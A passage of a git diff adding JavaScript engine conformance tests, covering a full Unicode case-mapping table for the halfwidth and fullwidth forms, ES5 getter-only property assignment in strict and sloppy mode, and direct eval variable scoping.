+ [0xff2e, 0xff4e], /* FULLWIDTH LATIN CAPITAL LETTER N */
+ [0xff2f, 0xff4f], /* FULLWIDTH LATIN CAPITAL LETTER O */
+ [0xff30, 0xff50], /* FULLWIDTH LATIN CAPITAL LETTER P */
+ [0xff31, 0xff51], /* FULLWIDTH LATIN CAPITAL LETTER Q */
+ [0xff32, 0xff52], /* FULLWIDTH LATIN CAPITAL LETTER R */
+ [0xff33, 0xff53], /* FULLWIDTH LATIN CAPITAL LETTER S */
+ [0xff34, 0xff54], /* FULLWIDTH LATIN CAPITAL LETTER T */
+ [0xff35, 0xff55], /* FULLWIDTH LATIN CAPITAL LETTER U */
+ [0xff36, 0xff56], /* FULLWIDTH LATIN CAPITAL LETTER V */
+ [0xff37, 0xff57], /* FULLWIDTH LATIN CAPITAL LETTER W */
+ [0xff38, 0xff58], /* FULLWIDTH LATIN CAPITAL LETTER X */
+ [0xff39, 0xff59], /* FULLWIDTH LATIN CAPITAL LETTER Y */
+ [0xff3a, 0xff5a], /* FULLWIDTH LATIN CAPITAL LETTER Z */
+ [0xff3b, 0xff3b], /* FULLWIDTH LEFT SQUARE BRACKET (FULLWIDTH OPENING SQUARE BRACKET) */
+ [0xff3c, 0xff3c], /* FULLWIDTH REVERSE SOLIDUS (FULLWIDTH BACKSLASH) */
+ [0xff3d, 0xff3d], /* FULLWIDTH RIGHT SQUARE BRACKET (FULLWIDTH CLOSING SQUARE BRACKET) */
+ [0xff3e, 0xff3e], /* FULLWIDTH CIRCUMFLEX ACCENT (FULLWIDTH SPACING CIRCUMFLEX) */
+ [0xff3f, 0xff3f], /* FULLWIDTH LOW LINE (FULLWIDTH SPACING UNDERSCORE) */
+ [0xff40, 0xff40], /* FULLWIDTH GRAVE ACCENT (FULLWIDTH SPACING GRAVE) */
+ [0xff21, 0xff41], /* FULLWIDTH LATIN SMALL LETTER A */
+ [0xff22, 0xff42], /* FULLWIDTH LATIN SMALL LETTER B */
+ [0xff23, 0xff43], /* FULLWIDTH LATIN SMALL LETTER C */
+ [0xff24, 0xff44], /* FULLWIDTH LATIN SMALL LETTER D */
+ [0xff25, 0xff45], /* FULLWIDTH LATIN SMALL LETTER E */
+ [0xff26, 0xff46], /* FULLWIDTH LATIN SMALL LETTER F */
+ [0xff27, 0xff47], /* FULLWIDTH LATIN SMALL LETTER G */
+ [0xff28, 0xff48], /* FULLWIDTH LATIN SMALL LETTER H */
+ [0xff29, 0xff49], /* FULLWIDTH LATIN SMALL LETTER I */
+ [0xff2a, 0xff4a], /* FULLWIDTH LATIN SMALL LETTER J */
+ [0xff2b, 0xff4b], /* FULLWIDTH LATIN SMALL LETTER K */
+ [0xff2c, 0xff4c], /* FULLWIDTH LATIN SMALL LETTER L */
+ [0xff2d, 0xff4d], /* FULLWIDTH LATIN SMALL LETTER M */
+ [0xff2e, 0xff4e], /* FULLWIDTH LATIN SMALL LETTER N */
+ [0xff2f, 0xff4f], /* FULLWIDTH LATIN SMALL LETTER O */
+ [0xff30, 0xff50], /* FULLWIDTH LATIN SMALL LETTER P */
+ [0xff31, 0xff51], /* FULLWIDTH LATIN SMALL LETTER Q */
+ [0xff32, 0xff52], /* FULLWIDTH LATIN SMALL LETTER R */
+ [0xff33, 0xff53], /* FULLWIDTH LATIN SMALL LETTER S */
+ [0xff34, 0xff54], /* FULLWIDTH LATIN SMALL LETTER T */
+ [0xff35, 0xff55], /* FULLWIDTH LATIN SMALL LETTER U */
+ [0xff36, 0xff56], /* FULLWIDTH LATIN SMALL LETTER V */
+ [0xff37, 0xff57], /* FULLWIDTH LATIN SMALL LETTER W */
+ [0xff38, 0xff58], /* FULLWIDTH LATIN SMALL LETTER X */
+ [0xff39, 0xff59], /* FULLWIDTH LATIN SMALL LETTER Y */
+ [0xff3a, 0xff5a], /* FULLWIDTH LATIN SMALL LETTER Z */
+ [0xff5b, 0xff5b], /* FULLWIDTH LEFT CURLY BRACKET (FULLWIDTH OPENING CURLY BRACKET) */
+ [0xff5c, 0xff5c], /* FULLWIDTH VERTICAL LINE (FULLWIDTH VERTICAL BAR) */
+ [0xff5d, 0xff5d], /* FULLWIDTH RIGHT CURLY BRACKET (FULLWIDTH CLOSING CURLY BRACKET) */
+ [0xff5e, 0xff5e], /* FULLWIDTH TILDE (FULLWIDTH SPACING TILDE) */
+ [0xff5f, 0xff5f], /* FULLWIDTH LEFT WHITE PARENTHESIS */
+ [0xff60, 0xff60], /* FULLWIDTH RIGHT WHITE PARENTHESIS */
+ [0xff61, 0xff61], /* HALFWIDTH IDEOGRAPHIC FULL STOP (HALFWIDTH IDEOGRAPHIC PERIOD) */
+ [0xff62, 0xff62], /* HALFWIDTH LEFT CORNER BRACKET (HALFWIDTH OPENING CORNER BRACKET) */
+ [0xff63, 0xff63], /* HALFWIDTH RIGHT CORNER BRACKET (HALFWIDTH CLOSING CORNER BRACKET) */
+ [0xff64, 0xff64], /* HALFWIDTH IDEOGRAPHIC COMMA */
+ [0xff65, 0xff65], /* HALFWIDTH KATAKANA MIDDLE DOT */
+ [0xff66, 0xff66], /* HALFWIDTH KATAKANA LETTER WO */
+ [0xff67, 0xff67], /* HALFWIDTH KATAKANA LETTER SMALL A */
+ [0xff68, 0xff68], /* HALFWIDTH KATAKANA LETTER SMALL I */
+ [0xff69, 0xff69], /* HALFWIDTH KATAKANA LETTER SMALL U */
+ [0xff6a, 0xff6a], /* HALFWIDTH KATAKANA LETTER SMALL E */
+ [0xff6b, 0xff6b], /* HALFWIDTH KATAKANA LETTER SMALL O */
+ [0xff6c, 0xff6c], /* HALFWIDTH KATAKANA LETTER SMALL YA */
+ [0xff6d, 0xff6d], /* HALFWIDTH KATAKANA LETTER SMALL YU */
+ [0xff6e, 0xff6e], /* HALFWIDTH KATAKANA LETTER SMALL YO */
+ [0xff6f, 0xff6f], /* HALFWIDTH KATAKANA LETTER SMALL TU */
+ [0xff70, 0xff70], /* HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK */
+ [0xff71, 0xff71], /* HALFWIDTH KATAKANA LETTER A */
+ [0xff72, 0xff72], /* HALFWIDTH KATAKANA LETTER I */
+ [0xff73, 0xff73], /* HALFWIDTH KATAKANA LETTER U */
+ [0xff74, 0xff74], /* HALFWIDTH KATAKANA LETTER E */
+ [0xff75, 0xff75], /* HALFWIDTH KATAKANA LETTER O */
+ [0xff76, 0xff76], /* HALFWIDTH KATAKANA LETTER KA */
+ [0xff77, 0xff77], /* HALFWIDTH KATAKANA LETTER KI */
+ [0xff78, 0xff78], /* HALFWIDTH KATAKANA LETTER KU */
+ [0xff79, 0xff79], /* HALFWIDTH KATAKANA LETTER KE */
+ [0xff7a, 0xff7a], /* HALFWIDTH KATAKANA LETTER KO */
+ [0xff7b, 0xff7b], /* HALFWIDTH KATAKANA LETTER SA */
+ [0xff7c, 0xff7c], /* HALFWIDTH KATAKANA LETTER SI */
+ [0xff7d, 0xff7d], /* HALFWIDTH KATAKANA LETTER SU */
+ [0xff7e, 0xff7e], /* HALFWIDTH KATAKANA LETTER SE */
+ [0xff7f, 0xff7f], /* HALFWIDTH KATAKANA LETTER SO */
+ [0xff80, 0xff80], /* HALFWIDTH KATAKANA LETTER TA */
+ [0xff81, 0xff81], /* HALFWIDTH KATAKANA LETTER TI */
+ [0xff82, 0xff82], /* HALFWIDTH KATAKANA LETTER TU */
+ [0xff83, 0xff83], /* HALFWIDTH KATAKANA LETTER TE */
+ [0xff84, 0xff84], /* HALFWIDTH KATAKANA LETTER TO */
+ [0xff85, 0xff85], /* HALFWIDTH KATAKANA LETTER NA */
+ [0xff86, 0xff86], /* HALFWIDTH KATAKANA LETTER NI */
+ [0xff87, 0xff87], /* HALFWIDTH KATAKANA LETTER NU */
+ [0xff88, 0xff88], /* HALFWIDTH KATAKANA LETTER NE */
+ [0xff89, 0xff89], /* HALFWIDTH KATAKANA LETTER NO */
+ [0xff8a, 0xff8a], /* HALFWIDTH KATAKANA LETTER HA */
+ [0xff8b, 0xff8b], /* HALFWIDTH KATAKANA LETTER HI */
+ [0xff8c, 0xff8c], /* HALFWIDTH KATAKANA LETTER HU */
+ [0xff8d, 0xff8d], /* HALFWIDTH KATAKANA LETTER HE */
+ [0xff8e, 0xff8e], /* HALFWIDTH KATAKANA LETTER HO */
+ [0xff8f, 0xff8f], /* HALFWIDTH KATAKANA LETTER MA */
+ [0xff90, 0xff90], /* HALFWIDTH KATAKANA LETTER MI */
+ [0xff91, 0xff91], /* HALFWIDTH KATAKANA LETTER MU */
+ [0xff92, 0xff92], /* HALFWIDTH KATAKANA LETTER ME */
+ [0xff93, 0xff93], /* HALFWIDTH KATAKANA LETTER MO */
+ [0xff94, 0xff94], /* HALFWIDTH KATAKANA LETTER YA */
+ [0xff95, 0xff95], /* HALFWIDTH KATAKANA LETTER YU */
+ [0xff96, 0xff96], /* HALFWIDTH KATAKANA LETTER YO */
+ [0xff97, 0xff97], /* HALFWIDTH KATAKANA LETTER RA */
+ [0xff98, 0xff98], /* HALFWIDTH KATAKANA LETTER RI */
+ [0xff99, 0xff99], /* HALFWIDTH KATAKANA LETTER RU */
+ [0xff9a, 0xff9a], /* HALFWIDTH KATAKANA LETTER RE */
+ [0xff9b, 0xff9b], /* HALFWIDTH KATAKANA LETTER RO */
+ [0xff9c, 0xff9c], /* HALFWIDTH KATAKANA LETTER WA */
+ [0xff9d, 0xff9d], /* HALFWIDTH KATAKANA LETTER N */
+ [0xff9e, 0xff9e], /* HALFWIDTH KATAKANA VOICED SOUND MARK */
+ [0xff9f, 0xff9f], /* HALFWIDTH KATAKANA SEMI-VOICED SOUND MARK */
+ [0xffa0, 0xffa0], /* HALFWIDTH HANGUL FILLER (HALFWIDTH HANGUL CAE OM) */
+ [0xffa1, 0xffa1], /* HALFWIDTH HANGUL LETTER KIYEOK (HALFWIDTH HANGUL LETTER GIYEOG) */
+ [0xffa2, 0xffa2], /* HALFWIDTH HANGUL LETTER SSANGKIYEOK (HALFWIDTH HANGUL LETTER SSANG GIYEOG) */
+ [0xffa3, 0xffa3], /* HALFWIDTH HANGUL LETTER KIYEOK-SIOS (HALFWIDTH HANGUL LETTER GIYEOG SIOS) */
+ [0xffa4, 0xffa4], /* HALFWIDTH HANGUL LETTER NIEUN */
+ [0xffa5, 0xffa5], /* HALFWIDTH HANGUL LETTER NIEUN-CIEUC (HALFWIDTH HANGUL LETTER NIEUN JIEUJ) */
+ [0xffa6, 0xffa6], /* HALFWIDTH HANGUL LETTER NIEUN-HIEUH (HALFWIDTH HANGUL LETTER NIEUN HIEUH) */
+ [0xffa7, 0xffa7], /* HALFWIDTH HANGUL LETTER TIKEUT (HALFWIDTH HANGUL LETTER DIGEUD) */
+ [0xffa8, 0xffa8], /* HALFWIDTH HANGUL LETTER SSANGTIKEUT (HALFWIDTH HANGUL LETTER SSANG DIGEUD) */
+ [0xffa9, 0xffa9], /* HALFWIDTH HANGUL LETTER RIEUL (HALFWIDTH HANGUL LETTER LIEUL) */
+ [0xffaa, 0xffaa], /* HALFWIDTH HANGUL LETTER RIEUL-KIYEOK (HALFWIDTH HANGUL LETTER LIEUL GIYEOG) */
+ [0xffab, 0xffab], /* HALFWIDTH HANGUL LETTER RIEUL-MIEUM (HALFWIDTH HANGUL LETTER LIEUL MIEUM) */
+ [0xffac, 0xffac], /* HALFWIDTH HANGUL LETTER RIEUL-PIEUP (HALFWIDTH HANGUL LETTER LIEUL BIEUB) */
+ [0xffad, 0xffad], /* HALFWIDTH HANGUL LETTER RIEUL-SIOS (HALFWIDTH HANGUL LETTER LIEUL SIOS) */
+ [0xffae, 0xffae], /* HALFWIDTH HANGUL LETTER RIEUL-THIEUTH (HALFWIDTH HANGUL LETTER LIEUL TIEUT) */
+ [0xffaf, 0xffaf], /* HALFWIDTH HANGUL LETTER RIEUL-PHIEUPH (HALFWIDTH HANGUL LETTER LIEUL PIEUP) */
+ [0xffb0, 0xffb0], /* HALFWIDTH HANGUL LETTER RIEUL-HIEUH (HALFWIDTH HANGUL LETTER LIEUL HIEUH) */
+ [0xffb1, 0xffb1], /* HALFWIDTH HANGUL LETTER MIEUM */
+ [0xffb2, 0xffb2], /* HALFWIDTH HANGUL LETTER PIEUP (HALFWIDTH HANGUL LETTER BIEUB) */
+ [0xffb3, 0xffb3], /* HALFWIDTH HANGUL LETTER SSANGPIEUP (HALFWIDTH HANGUL LETTER SSANG BIEUB) */
+ [0xffb4, 0xffb4], /* HALFWIDTH HANGUL LETTER PIEUP-SIOS (HALFWIDTH HANGUL LETTER BIEUB SIOS) */
+ [0xffb5, 0xffb5], /* HALFWIDTH HANGUL LETTER SIOS */
+ [0xffb6, 0xffb6], /* HALFWIDTH HANGUL LETTER SSANGSIOS (HALFWIDTH HANGUL LETTER SSANG SIOS) */
+ [0xffb7, 0xffb7], /* HALFWIDTH HANGUL LETTER IEUNG */
+ [0xffb8, 0xffb8], /* HALFWIDTH HANGUL LETTER CIEUC (HALFWIDTH HANGUL LETTER JIEUJ) */
+ [0xffb9, 0xffb9], /* HALFWIDTH HANGUL LETTER SSANGCIEUC (HALFWIDTH HANGUL LETTER SSANG JIEUJ) */
+ [0xffba, 0xffba], /* HALFWIDTH HANGUL LETTER CHIEUCH (HALFWIDTH HANGUL LETTER CIEUC) */
+ [0xffbb, 0xffbb], /* HALFWIDTH HANGUL LETTER KHIEUKH (HALFWIDTH HANGUL LETTER KIYEOK) */
+ [0xffbc, 0xffbc], /* HALFWIDTH HANGUL LETTER THIEUTH (HALFWIDTH HANGUL LETTER TIEUT) */
+ [0xffbd, 0xffbd], /* HALFWIDTH HANGUL LETTER PHIEUPH (HALFWIDTH HANGUL LETTER PIEUP) */
+ [0xffbe, 0xffbe], /* HALFWIDTH HANGUL LETTER HIEUH */
+ [0xffbf, 0xffbf],
+ [0xffc0, 0xffc0],
+ [0xffc1, 0xffc1],
+ [0xffc2, 0xffc2], /* HALFWIDTH HANGUL LETTER A */
+ [0xffc3, 0xffc3], /* HALFWIDTH HANGUL LETTER AE */
+ [0xffc4, 0xffc4], /* HALFWIDTH HANGUL LETTER YA */
+ [0xffc5, 0xffc5], /* HALFWIDTH HANGUL LETTER YAE */
+ [0xffc6, 0xffc6], /* HALFWIDTH HANGUL LETTER EO */
+ [0xffc7, 0xffc7], /* HALFWIDTH HANGUL LETTER E */
+ [0xffc8, 0xffc8],
+ [0xffc9, 0xffc9],
+ [0xffca, 0xffca], /* HALFWIDTH HANGUL LETTER YEO */
+ [0xffcb, 0xffcb], /* HALFWIDTH HANGUL LETTER YE */
+ [0xffcc, 0xffcc], /* HALFWIDTH HANGUL LETTER O */
+ [0xffcd, 0xffcd], /* HALFWIDTH HANGUL LETTER WA */
+ [0xffce, 0xffce], /* HALFWIDTH HANGUL LETTER WAE */
+ [0xffcf, 0xffcf], /* HALFWIDTH HANGUL LETTER OE */
+ [0xffd0, 0xffd0],
+ [0xffd1, 0xffd1],
+ [0xffd2, 0xffd2], /* HALFWIDTH HANGUL LETTER YO */
+ [0xffd3, 0xffd3], /* HALFWIDTH HANGUL LETTER U */
+ [0xffd4, 0xffd4], /* HALFWIDTH HANGUL LETTER WEO */
+ [0xffd5, 0xffd5], /* HALFWIDTH HANGUL LETTER WE */
+ [0xffd6, 0xffd6], /* HALFWIDTH HANGUL LETTER WI */
+ [0xffd7, 0xffd7], /* HALFWIDTH HANGUL LETTER YU */
+ [0xffd8, 0xffd8],
+ [0xffd9, 0xffd9],
+ [0xffda, 0xffda], /* HALFWIDTH HANGUL LETTER EU */
+ [0xffdb, 0xffdb], /* HALFWIDTH HANGUL LETTER YI */
+ [0xffdc, 0xffdc], /* HALFWIDTH HANGUL LETTER I */
+ [0xffdd, 0xffdd],
+ [0xffde, 0xffde],
+ [0xffdf, 0xffdf],
+ [0xffe0, 0xffe0], /* FULLWIDTH CENT SIGN */
+ [0xffe1, 0xffe1], /* FULLWIDTH POUND SIGN */
+ [0xffe2, 0xffe2], /* FULLWIDTH NOT SIGN */
+ [0xffe3, 0xffe3], /* FULLWIDTH MACRON (FULLWIDTH SPACING MACRON) */
+ [0xffe4, 0xffe4], /* FULLWIDTH BROKEN BAR (FULLWIDTH BROKEN VERTICAL BAR) */
+ [0xffe5, 0xffe5], /* FULLWIDTH YEN SIGN */
+ [0xffe6, 0xffe6], /* FULLWIDTH WON SIGN */
+ [0xffe7, 0xffe7],
+ [0xffe8, 0xffe8], /* HALFWIDTH FORMS LIGHT VERTICAL */
+ [0xffe9, 0xffe9], /* HALFWIDTH LEFTWARDS ARROW */
+ [0xffea, 0xffea], /* HALFWIDTH UPWARDS ARROW */
+ [0xffeb, 0xffeb], /* HALFWIDTH RIGHTWARDS ARROW */
+ [0xffec, 0xffec], /* HALFWIDTH DOWNWARDS ARROW */
+ [0xffed, 0xffed], /* HALFWIDTH BLACK SQUARE */
+ [0xffee, 0xffee], /* HALFWIDTH WHITE CIRCLE */
+ [0xffef, 0xffef],
+ [0xfff0, 0xfff0],
+ [0xfff1, 0xfff1],
+ [0xfff2, 0xfff2],
+ [0xfff3, 0xfff3],
+ [0xfff4, 0xfff4],
+ [0xfff5, 0xfff5],
+ [0xfff6, 0xfff6],
+ [0xfff7, 0xfff7],
+ [0xfff8, 0xfff8],
+ [0xfff9, 0xfff9], /* INTERLINEAR ANNOTATION ANCHOR */
+ [0xfffa, 0xfffa], /* INTERLINEAR ANNOTATION SEPARATOR */
+ [0xfffb, 0xfffb], /* INTERLINEAR ANNOTATION TERMINATOR */
+ [0xfffc, 0xfffc], /* OBJECT REPLACEMENT CHARACTER */
+ [0xfffd, 0xfffd], /* REPLACEMENT CHARACTER */
+ [0xfffe, 0xfffe],
+ [0xffff, 0xffff],
+];
+assertEq(mapping.length, 0x10000);
+for (var i = 0; i <= 0xffff; i++) {
+ var char = String.fromCharCode(i);
+ var info = mapping[i];
+
+ assertEq(char.toUpperCase().charCodeAt(0), info[0]);
+ assertEq(char.toLowerCase().charCodeAt(0), info[1]);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_5/Types/8.12.5-01.js b/js/src/tests/ecma_5/Types/8.12.5-01.js
new file mode 100644
index 000000000..b41de0bb5
--- /dev/null
+++ b/js/src/tests/ecma_5/Types/8.12.5-01.js
@@ -0,0 +1,110 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jason Orendorff
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 523846;
+var summary =
+ "Assignments to a property that has a getter but not a setter should not " +
+ "throw a TypeError per ES5 (at least not until strict mode is supported)";
+var actual = "Early failure";
+var expect = "No errors";
+
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+var o = { get p() { return "a"; } };
+
+function test1()
+{
+ o.p = "b";
+ assertEq(o.p, "a");
+}
+
+function test2()
+{
+ function T() {}
+ T.prototype = o;
+ y = new T();
+ y.p = "b";
+ assertEq(y.p, "a");
+}
+
+function strictTest1()
+{
+ "use strict";
+
+ o.p = "b"; // strict-mode violation here
+ assertEq(o.p, "a");
+}
+
+function strictTest2()
+{
+ "use strict";
+
+ function T() {}
+ T.prototype = o;
+ y = new T;
+ y.p = "b"; // strict-mode violation here
+ assertEq(y.p, "a");
+}
+
+var errors = [];
+try
+{
+ try
+ {
+ test1();
+ }
+ catch (e)
+ {
+ errors.push(e);
+ }
+
+ try
+ {
+ test2();
+ }
+ catch (e)
+ {
+ errors.push(e);
+ }
+
+ try
+ {
+ strictTest1();
+ errors.push("strictTest1 didn't fail");
+ }
+ catch (e)
+ {
+ if (!(e instanceof TypeError))
+ errors.push("strictTest1 didn't fail with a TypeError: " + e);
+ }
+
+ try
+ {
+ strictTest2();
+ errors.push("strictTest2 didn't fail");
+ }
+ catch (e)
+ {
+ if (!(e instanceof TypeError))
+ errors.push("strictTest2 didn't fail with a TypeError: " + e);
+ }
+}
+catch (e)
+{
+ errors.push("Unexpected error: " + e);
+}
+finally
+{
+ actual = errors.length > 0 ? errors.join(", ") : "No errors";
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/ecma_5/Types/browser.js b/js/src/tests/ecma_5/Types/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Types/browser.js
diff --git a/js/src/tests/ecma_5/Types/shell.js b/js/src/tests/ecma_5/Types/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/Types/shell.js
diff --git a/js/src/tests/ecma_5/browser.js b/js/src/tests/ecma_5/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/browser.js
diff --git a/js/src/tests/ecma_5/eval/browser.js b/js/src/tests/ecma_5/eval/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/browser.js
diff --git a/js/src/tests/ecma_5/eval/exhaustive-fun-normalcaller-direct-normalcode.js b/js/src/tests/ecma_5/eval/exhaustive-fun-normalcaller-direct-normalcode.js
new file mode 100644
index 000000000..1a4b56c63
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/exhaustive-fun-normalcaller-direct-normalcode.js
@@ -0,0 +1,208 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ var x = 2;
+ var xcode =
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = eval(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 4);
+assertEq(resultsX.global1, 17);
+
+assertEq(resultsX.inner2, 7);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 17);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 9);
+assertEq(resultsX.global3, 17);
+
+assertEq(resultsX.del, false);
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 9);
+assertEq(resultsX.global4, 17);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 23);
+assertEq(resultsX.global5, 17);
+
+
+function testY()
+{
+ var ycode =
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = eval(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsY = testY();
+
+assertEq(resultsY.local0, 42);
+assertEq(resultsY.global0, 42);
+
+assertEq(resultsY.inner1, 5);
+assertEq(resultsY.local1, 5);
+assertEq(resultsY.global1, 42);
+
+assertEq(resultsY.inner2, 8);
+assertEq(resultsY.local2, 8);
+assertEq(resultsY.global2, 42);
+
+assertEq(resultsY.inner3, 2);
+assertEq(resultsY.local3, 2);
+assertEq(resultsY.global3, 42);
+
+assertEq(resultsY.del, true);
+
+assertEq(resultsY.inner4, 42);
+assertEq(resultsY.local4, 42);
+assertEq(resultsY.global4, 42);
+
+assertEq(resultsY.inner5, 71);
+assertEq(resultsY.local5, 71);
+assertEq(resultsY.global5, 71);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete!");
diff --git a/js/src/tests/ecma_5/eval/exhaustive-fun-normalcaller-direct-strictcode.js b/js/src/tests/ecma_5/eval/exhaustive-fun-normalcaller-direct-strictcode.js
new file mode 100644
index 000000000..7bd4ea658
--- /dev/null
+++ b/js/src/tests/ecma_5/eval/exhaustive-fun-normalcaller-direct-strictcode.js
@@ -0,0 +1,210 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 514568;
+var summary = "eval in all its myriad flavors";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var x = 17;
+function globalX() { return x; }
+var y = 42;
+function globalY() { return y; }
+
+var ev = eval;
+
+function testX()
+{
+ var x = 2;
+ var xcode =
+ "'use strict';" +
+ "var x = 4;" +
+ "function actX(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return x;" +
+ " case 'set1':" +
+ " x = 9;" +
+ " return;" +
+ " case 'set2':" +
+ " x = 23;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete x'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actX;";
+
+ var local0 = x;
+ var global0 = globalX();
+
+ var f = eval(xcode);
+
+ var inner1 = f("get");
+ var local1 = x;
+ var global1 = globalX();
+
+ x = 7;
+ var inner2 = f("get");
+ var local2 = x;
+ var global2 = globalX();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = x;
+ var global3 = globalX();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = x;
+ var global4 = globalX();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = x;
+ var global5 = globalX();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
+ inner4: inner4, local4: local4, global4: global4,
+ inner5: inner5, local5: local5, global5: global5,
+ };
+}
+
+var resultsX = testX();
+
+assertEq(resultsX.local0, 2);
+assertEq(resultsX.global0, 17);
+
+assertEq(resultsX.inner1, 4);
+assertEq(resultsX.local1, 2);
+assertEq(resultsX.global1, 17);
+
+assertEq(resultsX.inner2, 4);
+assertEq(resultsX.local2, 7);
+assertEq(resultsX.global2, 17);
+
+assertEq(resultsX.inner3, 9);
+assertEq(resultsX.local3, 7);
+assertEq(resultsX.global3, 17);
+
+assertEq(resultsX.del, "SyntaxError");
+
+assertEq(resultsX.inner4, 9);
+assertEq(resultsX.local4, 7);
+assertEq(resultsX.global4, 17);
+
+assertEq(resultsX.inner5, 23);
+assertEq(resultsX.local5, 7);
+assertEq(resultsX.global5, 17);
+
+
+function testY()
+{
+ var ycode =
+ "'use strict';" +
+ "var y = 5;" +
+ "function actY(action)" +
+ "{" +
+ " switch (action)" +
+ " {" +
+ " case 'get':" +
+ " return y;" +
+ " case 'set1':" +
+ " y = 2;" +
+ " return;" +
+ " case 'set2':" +
+ " y = 71;" +
+ " return;" +
+ " case 'delete':" +
+ " try { return eval('delete y'); }" +
+ " catch (e) { return e.name; }" +
+ " }" +
+ "}" +
+ "actY;";
+
+ var local0 = y;
+ var global0 = globalY();
+
+ var f = eval(ycode);
+
+ var inner1 = f("get");
+ var local1 = y;
+ var global1 = globalY();
+
+ y = 8;
+ var inner2 = f("get");
+ var local2 = y;
+ var global2 = globalY();
+
+ f("set1");
+ var inner3 = f("get");
+ var local3 = y;
+ var global3 = globalY();
+
+ var del = f("delete");
+ var inner4 = f("get");
+ var local4 = y;
+ var global4 = globalY();
+
+ f("set2");
+ var inner5 = f("get");
+ var local5 = y;
+ var global5 = globalY();
+
+ return {
+ local0: local0, global0: global0,
+ inner1: inner1, local1: local1, global1: global1,
+ inner2: inner2, local2: local2, global2: global2,
+ inner3: inner3, local3: local3, global3: global3,
+ del: del,
